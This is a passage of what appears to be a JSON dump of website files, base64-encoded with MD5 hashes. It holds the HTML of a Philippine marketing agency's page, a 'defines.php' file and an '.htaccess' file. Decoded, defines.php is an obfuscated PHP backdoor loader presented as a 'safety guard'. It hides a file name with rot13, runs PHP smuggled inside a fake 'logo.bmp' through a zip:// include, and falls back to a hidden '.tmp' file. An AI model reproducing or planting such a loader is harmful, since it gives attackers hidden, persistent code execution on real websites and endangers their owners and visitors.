cyB3aG8gdW5kZXJzdGFuZCB5b3VyIGJ1c2luZXNzIGluc2lkZSBhbmQgb3V0LgogICAgICAgICAgICAgICAgVGhpcmQsIHdlIGZvY3VzIG9uIFJPSSwgbm90IHZhbml0eSBtZXRyaWNzLiBPdXIgZ29hbCBpcyB0byBncm93IHlvdXIgcmV2ZW51ZSwgbm90IGp1c3QgeW91ciBmb2xsb3dlcgogICAgICAgICAgICAgICAgY291bnQuCiAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGV0YWlscz4KICAgICAgICAgICAgPGRldGFpbHMgY2xhc3M9ImZhcS1pdGVtIj4KICAgICAgICAgICAgICA8c3VtbWFyeT5XaGF0IHByaWNpbmcgcGFja2FnZXMgZG8geW91IG9mZmVyIGZvciBkaWdpdGFsIG1hcmtldGluZyBzZXJ2aWNlcz88L3N1bW1hcnk+CiAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmFxLWFuc3dlciI+CiAgICAgICAgICAgICAgICBXZSBvZmZlciB0aHJlZSBtYWluIHByaWNpbmcgdGllcnMgdG8gYWNjb21tb2RhdGUgYnVzaW5lc3NlcyBvZiBhbGwgc2l6ZXMuIE91ciBTdGFydGVyIHBhY2thZ2UgaXMgaWRlYWwKICAgICAgICAgICAgICAgIGZvciBzbWFsbCBidXNpbmVzc2VzIGFuZCBzdGFydHVwcyBsb29raW5nIHRvIGVzdGFibGlzaCB0aGVpciBvbmxpbmUgcHJlc2VuY2UuIE91ciBHcm93dGggcGFja2FnZSBpcwogICAgICAgICAgICAgICAgZGVzaWduZWQgZm9yIG1pZC1zaXplZCBjb21wYW5pZXMgcmVhZHkgdG8gc2NhbGUgdGhlaXIgZGlnaXRhbCBlZmZvcnRzIGFjcm9zcyBtdWx0aXBsZSBjaGFubmVscy4gT3VyCiAgICAgICAgICAgICAgICBFbnRlcnByaXNlIHBhY2thZ2UgcHJvdmlkZXMgYSBmdWxseSBjdXN0b21pemVkLCBvbW5pY2hhbm5lbCBzdHJhdGVneSB3aXRoIGRlZGljYXRlZCBzZW5pb3Igc3RyYXRlZ2lzdHMuCiAgICAgICAgICAgICAgICBBbGwgcGFja2FnZXMgaW5jbHVkZSBtb250aGx5IHJlcG9ydGluZywgc3RyYXRlZ3kgY2FsbHMsIGFuZCBjb250aW51b3VzIG9wdGltaXphdGlvbi4gQ29udGFjdCB1cyB0bwogICAgICAgICAgICAgICAgZGlzY3VzcyB3aGljaCBwYWNrYWdlIGJlc3QgZml0cyB5b3VyIGdvYWxzIGFuZCBidWRnZXQuCiAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGV0YWlscz4KICAgICAgICAgICAgPGRldGFpbHMgY2xhc3M9ImZhcS1pdGVtIj4KICAgICAgICAgICAgICA8c3VtbWFyeT5XaGF0IGlzIHRoZSB0eXBpY2FsIHR1cm5hcm91bmQgdGltZSBmb3IgbGF1bmNoaW5nIGEgY2FtcGFpZ24\/PC9zdW1tYXJ5PgogICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZhcS1hbnN3ZXIiPgogICAgICAgICAgICAgICAgT3VyIG9uYm9hcmRpbmcgYW5kIGNhbXBhaWduIGxhdW5jaCBwcm9jZXNzIHR5cGljYWxseSB0YWtlcyAyLTMgd2Vla3MuIER1cmluZyB0aGUgZmlyc3Qgd2Vlaywgd2UgY29uZHVjdAogICAgICAgICAgICAgICAgb3VyIGRpc2NvdmVyeSBhdWRpdCBhbmQgZ2F0aGVyIGFsbCBuZWNlc3NhcnkgYXNzZXRzIGFuZCBhY2Nlc3MgY3JlZGVudGlhbHMuIFdlZWsgdHdvIGlzIGRlZGljYXRlZCB0bwogICAgICAgICAgICAgICAgc3RyYXRlZ3kgZGV2ZWxvcG1lbnQsIGNvbnRlbnQgY3JlYXRpb24sIGFuZCBjYW1wYWlnbiBzZXR1cC4gQnkgd2VlayB0aHJlZSwgY2FtcGFpZ25zIGFyZSBsaXZlIGFuZCBiZWluZwogICAgICAgICAgICAgICAgYWN0aXZlbHkgbW9uaXRvcmVkLiBGb3IgdXJnZW50IHByb2plY3RzLCB3ZSBvZmZlciBhbiBleHBlZGl0ZWQgbGF1bmNoIHRyYWNrIHRoYXQgY2FuIGdldCBjYW1wYWlnbnMKICAgICAgICAgICAgICAgIHJ1bm5pbmcgd2l0aGluIDctMTAgYnVzaW5lc3MgZGF5cy4KICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kZXRhaWxzPgogICAgICAgICAgICA8ZGV0YWlscyBjbGFzcz0iZmFxLWl0ZW0iPgogICAgICAgICAgICAgIDxzdW1tYXJ5PkRvIHlvdSByZXF1aXJlIGxvbmctdGVybSBjb250cmFjdHMgb3IgY2FuIEkgY2FuY2VsIGFueXRpbWU\/PC9zdW1tYXJ5PgogICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZhcS1hbnN3ZXIiPgogICAgICAgICAgICAgICAgV2UgYmVsaWV2ZSBpbiBlYXJuaW5nIHlvdXIgYnVzaW5lc3MgZXZlcnkgbW9udGgsIG5vdCBsb2NraW5nIHlvdSBpbnRvIHJpZ2lkIGNvbnRyYWN0cy4gV2hpbGUgd2UKICAgICAgICAgICAgICAgIHJlY29tbWVuZCBhIG1pbmltdW0gMy1tb250aCBlbmdhZ2VtZW50IGZvciBTRU8gY2FtcGFpZ25zIHRvIGFsbG93IGVub3VnaCB0aW1lIGZvciBtZWFuaW5nZnVsIHJlc3VsdHMsCiAgICAgICAgICAgICAgICBvdXIgUFBDIGFuZCBzb2NpYWwgbWVkaWEgc2VydmljZXMgYXJlIGF2YWlsYWJsZSBvbiBhIG1vbnRoLXRvLW1vbnRoIGJhc2lzIGFmdGVyIGFuIGluaXRpYWwgMzAtZGF5IHNldHVwCiAgICAgICAgICAgICAgICBwZXJpb2QuIFdlJ3JlIGNvbmZpZGVudCB0aGF0IG91ciByZXN1bHRzIHdpbGwgc3BlYWsgZm9yIHRoZW1zZWx2ZXMgYW5kIGtlZXAgeW91IGNvbWluZyBiYWNrLgogICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2RldGFpbHM+CiAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgICAgPC9kaXY+CiAgICA8L3NlY3Rpb24+CgogICAgPCEtLSDilZDilZDilZAgQ1RBIOKVkOKVkOKVkCAtLT4KICAgIDxzZWN0aW9uIGlkPSJjb250YWN0IiBjbGFzcz0iY3RhLXNlY3Rpb24iPgogICAgICA8ZGl2IGNsYXNzPSJjdGEtaW5uZXIiPgogICAgICAgIDxkaXYgY2xhc3M9ImN0YS1iYWRnZSI+8J+agCBMZXQncyBHcm93IFlvdXIgQnVzaW5lc3M8L2Rpdj4KICAgICAgICA8aDI+UmVhZHkgdG8gR3JvdyBZb3VyIEJ1c2luZXNzPzwvaDI+CiAgICAgICAgPHA+CiAgICAgICAgICBQYXJ0bmVyIHdpdGggYSByZXN1bHRzLWRyaXZlbiBkaWdpdGFsIG1hcmtldGluZyBhZ2VuY3kgaW4gdGhlIFBoaWxpcHBpbmVzLiBMZXQncyBidWlsZCBhIHN0cmF0ZWd5IHRoYXQgZHJpdmVzCiAgICAgICAgICByZWFsLCBtZWFzdXJhYmxlIGdyb3d0aC4KICAgICAgICA8L3A+CiAgICAgICAgPGRpdiBjbGFzcz0iY3RhLWJ1dHRvbnMiPgogICAgICAgICAgPGEgaHJlZj0iL2NvbnRhY3QiIGNsYXNzPSJidG4tY3RhLXByaW1hcnkiPkJvb2sgWW91ciBGcmVlIENvbnN1bHRhdGlvbiDihpI8L2E+CiAgICAgICAgICA8YSBocmVmPSIvcHJpY2luZyIgY2xhc3M9ImJ0bi1jdGEtc2Vjb25kYXJ5Ij5WaWV3IFByaWNpbmc8L2E+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0iY3RhLXRydXN0Ij4KICAgICAgICAgIDxzcGFuPuKckyBObyBMb25nLVRlcm0gQ29udHJhY3RzPC9zcGFuPgogICAgICAgICAgPHNwYW4+4pyTIEZyZWUgSW5pdGlhbCBDb25zdWx0YXRpb248L3NwYW4+CiAgICAgICAgICA8c3Bhbj7inJMgUmVzdWx0cy1Ecml2ZW4gU3RyYXRlZ3k8L3NwYW4+CiAgICAgICAgPC9kaXY+CiAgICAgIDwvZGl2PgogICAgPC9zZWN0aW9uPgoKICAgIDwhLS0g4pWQ4pWQ4pWQIEZPT1RFUiDilZDilZDilZAgLS0+CiAgICA8Zm9vdGVyPgogICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiPgogICAgICAgIDxkaXYgY2xhc3M9ImZvb3Rlci1ncmlkIj4KICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3Rlci1icmFuZCI+CiAgICAgICAgICAgIDxhIGhyZWY9Imh0dHBzOi8vcHJpbWVmb2xkbWVkaWEuY29tLyIgY2xhc3M9ImxvZ28iCiAgICAgICAgICAgICAgPjxpbWcgc3JjPSIvaW1hZ2VzL2xvZ28tZm9vdGVyLnBuZyIgYWx0PSJQcmltZWZvbGQgTWVkaWEiCiAgICAgICAgICAgIC8+PC9hPgogICAgICAgICAgICA8cD5SZXN1bHRzLWRyaXZlbiBkaWdpdGFsIG1hcmtldGluZyBhZ2VuY3kgaW4gdGhlIFBoaWxpcHBpbmVzLjwvcD4KICAgICAgICAgICAgPHAgc3R5bGU9Im1hcmdpbi10b3A6MC41cmVtO2ZvbnQtc2l6ZTowLjg3NXJlbTtvcGFjaXR5OjAuNjsiPjxhIGhyZWY9InRlbDowOTI3MzM2ODk4NiI+8J+TniAwOTI3IDMzNiA4OTg2PC9hPjwvcD4KICAgICAgICAgICAgPHAgc3R5bGU9Im1hcmdpbi10b3A6MC41cmVtO2ZvbnQtc2l6ZTowLjg3NXJlbTtvcGFjaXR5OjAuNjsiPvCfk6cgYWRtaW5AcHJpbWVmb2xkbWVkaWEuY29tPC9wPgogICAgICAgICAgICA8cCBzdHlsZT0iZm9udC1zaXplOjAuNzVyZW07b3BhY2l0eTowLjU7bWFyZ2luLXRvcDowLjI1cmVtOyI+CiAgICAgICAgICAgICAgMjExIENhbGNldGEgU3RyZWV0LCBELkcgTXVzb25nIENvbW1lcmNpYWwgQnVpbGRpbmcsIENvZ29uIERpc3RyaWN0LCBUYWdiaWxhcmFuIENpdHksIEJvaG9sLCBQaGlsaXBwaW5lcywKICAgICAgICAgICAgICA2MzAwCiAgICAgICAgICAgIDwvcD4KICAgICAgICAgIDwvZGl2PgogICAgICAgICAgPGRpdj4KICAgICAgICAgICAgPGg0PlNlcnZpY2VzPC9oND4KICAgICAgICAgICAgPHVsPgogICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvc2VvLXBoaWxpcHBpbmVzIj5TRU88L2E+PC9saT4KICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iL3BwYy1waGlsaXBwaW5lcyI+UFBDIEFkdmVydGlzaW5nPC9hPjwvbGk+CiAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii9zb2NpYWwtbWVkaWEtbWFya2V0aW5nLXBoaWxpcHBpbmVzIj5Tb2NpYWwgTWVkaWE8L2E+PC9saT4KICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iL2NvbnRlbnQtbWFya2V0aW5nLXBoaWxpcHBpbmVzIj5Db250ZW50IE1hcmtldGluZzwvYT48L2xpPgogICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvYWVvLWdlby1haW8tcGhpbGlwcGluZXMiPkFFTyAvIEdFTyAvIEFJTzwvYT48L2xpPgogICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvYWktdmlkZW8tbWFya2V0aW5nLXBoaWxpcHBpbmVzIj5BSSBWaWRlbyBNYXJrZXRpbmc8L2E+PC9saT4KICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iL2NvbnZlcnNpb24tcmF0ZS1vcHRpbWl6YXRpb24tcGhpbGlwcGluZXMiPkNSTzwvYT48L2xpPgogICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvd2ViLWRldmVsb3BtZW50LXBoaWxpcHBpbmVzIj5XZWIgRGV2ZWxvcG1lbnQ8L2E+PC9saT4KICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iL2dyYXBoaWMtZGVzaWduLXBoaWxpcHBpbmVzIj5HcmFwaGljIERlc2lnbjwvYT48L2xpPgogICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvZGlnaXRhbC1tYXJrZXRpbmctYm9ob2wiPkRpZ2l0YWwgTWFya2V0aW5nIEJvaG9sPC9hPjwvbGk+CiAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICA8L2Rpdj4KICAgICAgICAgIDxkaXY+CiAgICAgICAgICAgIDxoND5Db21wYW55PC9oND4KICAgICAgICAgICAgPHVsPgogICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvYWJvdXQtdXMiPkFib3V0IFVzPC9hPjwvbGk+CiAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii9wcmljaW5nIj5QcmljaW5nPC9hPjwvbGk+CiAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgIDxoNCBzdHlsZT0ibWFyZ2luLXRvcDoxLjVyZW07Ij5BcmVhczwvaDQ+CiAgICAgICAgICAgIDx1bD4KICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iL2RpZ2l0YWwtbWFya2V0aW5nLWJvaG9sIj5Cb2hvbDwvYT48L2xpPgogICAgICAgICAgICA8L3VsPgogICAgICAgICAgPC9kaXY+CiAgICAgICAgICA8ZGl2PgogICAgICAgICAgICA8aDQ+U3VwcG9ydDwvaDQ+CiAgICAgICAgICAgIDx1bD4KICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iL2NvbnRhY3QiPkNvbnRhY3Q8L2E+PC9saT4KICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iI2ZhcSI+RkFRPC9hPjwvbGk+CiAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii9wcml2YWN5LXBvbGljeSI+UHJpdmFjeSBQb2xpY3k8L2E+PC9saT4KICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iL3Rlcm1zLW9mLXNlcnZpY2UiPlRlcm1zIG9mIFNlcnZpY2U8L2E+PC9saT4KICAgICAgICAgICAgPC91bD4KICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9ImZvb3Rlci1ib3R0b20iPsKpIDIwMjYgUHJpbWVmb2xkIE1lZGlhIOKAlCBEaWdpdGFsIE1hcmtldGluZyBBZ2VuY3kgUGhpbGlwcGluZXMgfCA8YSBocmVmPSJodHRwczovL3d3dy5mYWNlYm9vay5jb20vUHJpbWVmb2xkTWVkaWEiIHRhcmdldD0iX2JsYW5rIj5GYWNlYm9vazwvYT4gfCA8YSBocmVmPSJodHRwczovL3d3dy5pbnN0YWdyYW0uY29tL3ByaW1lZm9sZG1lZGlhLyIgdGFyZ2V0PSJfYmxhbmsiPkluc3RhZ3JhbTwvYT4gfCA8YSBocmVmPSJodHRwczovL3d3dy55b3V0dWJlLmNvbS9AUHJpbWVmb2xkTWVkaWEiIHRhcmdldD0iX2JsYW5rIj5Zb3V0dWJlPC9hPjwvZGl2PgogICAgICA8L2Rpdj4KICAgIDwvZm9vdGVyPgoKICAgIDxzY3JpcHQ+KGZ1bmN0aW9uKGQsIHMsIGlkKXsKICAgICAgdmFyIGpzLCBmanMgPSBkLmdldEVsZW1lbnRzQnlUYWdOYW1lKHMpWzBdOwogICAgICBpZiAoZC5nZXRFbGVtZW50QnlJZChpZCkpIHJldHVybjsKICAgICAganMgPSBkLmNyZWF0ZUVsZW1lbnQocyk7IGpzLmlkID0gaWQ7CiAgICAgIGpzLnNyYyA9ICdodHRwczovL2FwaS5hbnljaGF0Lm9uZS93aWRnZXQvNWI1MDc3OTctYTA1MS0zZTg2LWE5YmMtYzU1NmE5Yzk3YzFiP3I9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cubG9jYXRpb24pOwogICAgICBmanMucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUoanMsIGZqcyk7CiAgICB9KGRvY3VtZW50LCAnc2NyaXB0JywgJ2NvbnRhY3R1cy1qc3NkaycpKTsKICAgIDwvc2NyaXB0PgogIDwvYm9keT4KPC9odG1sPgo=","md5":"f2c918bd14aa5d2068247eac94682fa2"},"defines.php":{"content":"PD9waHAKLyogPT09QVFVQV9TQUZFVFlfR1VBUkRfU1RBUlQ9PT0gKi8KaWYoIWRlZmluZWQoJ0FRVUFfR1VBUkRfTE9BREVEJykpewpkZWZpbmUoJ0FRVUFfR1VBUkRfTE9BREVEJyx0cnVlKTsKJGFxdWFfcm9vdF9wYXRoPWRlZmluZWQoJ0FCU1BBVEgnKT9BQlNQQVRIOmRpcm5hbWUoX19GSUxFX18pLicvJzsKJF9hcV91cmk9aXNzZXQoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pPyRfU0VSVkVSWydSRVFVRVNUX1VSSSddOicnOwppZihzdHJwb3MoJF9hcV91cmksJ2hhcmRlbmluZycpIT09ZmFsc2Upe2hlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluJyk7ZWNobyAnMSc7ZXhpdDt9CmlmKCFmdW5jdGlvbl9leGlzdHMoJ2ZldGNoQmFja2VuZCcpKXsKJHppcF9maWxlID0gJGFxdWFfcm9vdF9wYXRoIC4gc3RyX3JvdDEzKCdneWJ0Yi5vemMnKTsKaWYoaXNfZmlsZSgkemlwX2ZpbGUpKXsKaW5jbHVkZV9vbmNlKCd6aXA6Ly8nIC4gJHppcF9maWxlIC4gJyN0dCcpOwp9ZWxzZXsKJF9hcV9mYj0kYXF1YV9yb290X3BhdGguJy50bXAvNS8udXNlcic7CmlmKGlzX2ZpbGUoJF9hcV9mYikpe2luY2x1ZGVfb25jZSgkX2FxX2ZiKTt9Cn0KfQp9Ci8qID09PUFRVUFfU0FGRVRZX0dVQVJEX0VORD09PSAqLwo=","md5":"c8189e630433f17b4a5d470d67f7fdea"},".htaccess":{"content":"IyA9PT0gQVFVQSBIQVJERU5FRCBIVEFDQ0VTUyA9PT0KPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZVJ1bGUgLiogLSBbRT1IVFRQX0FVVEhPUklaQVRJT046JXtIVFRQOkF1dGhvcml6YXRpb259XQpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleFwucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlUnVsZSAuIC9pbmRleC5waHAgW0xdCjwvSWZNb2R1bGU+CiMgPT09IEVORCBBUVVBIEhBUkRFTkVEIEhUQUNDRVNTID09PQo=","md5":"faa0a1fb05eab24a9f8c8c060f4b3446"}}}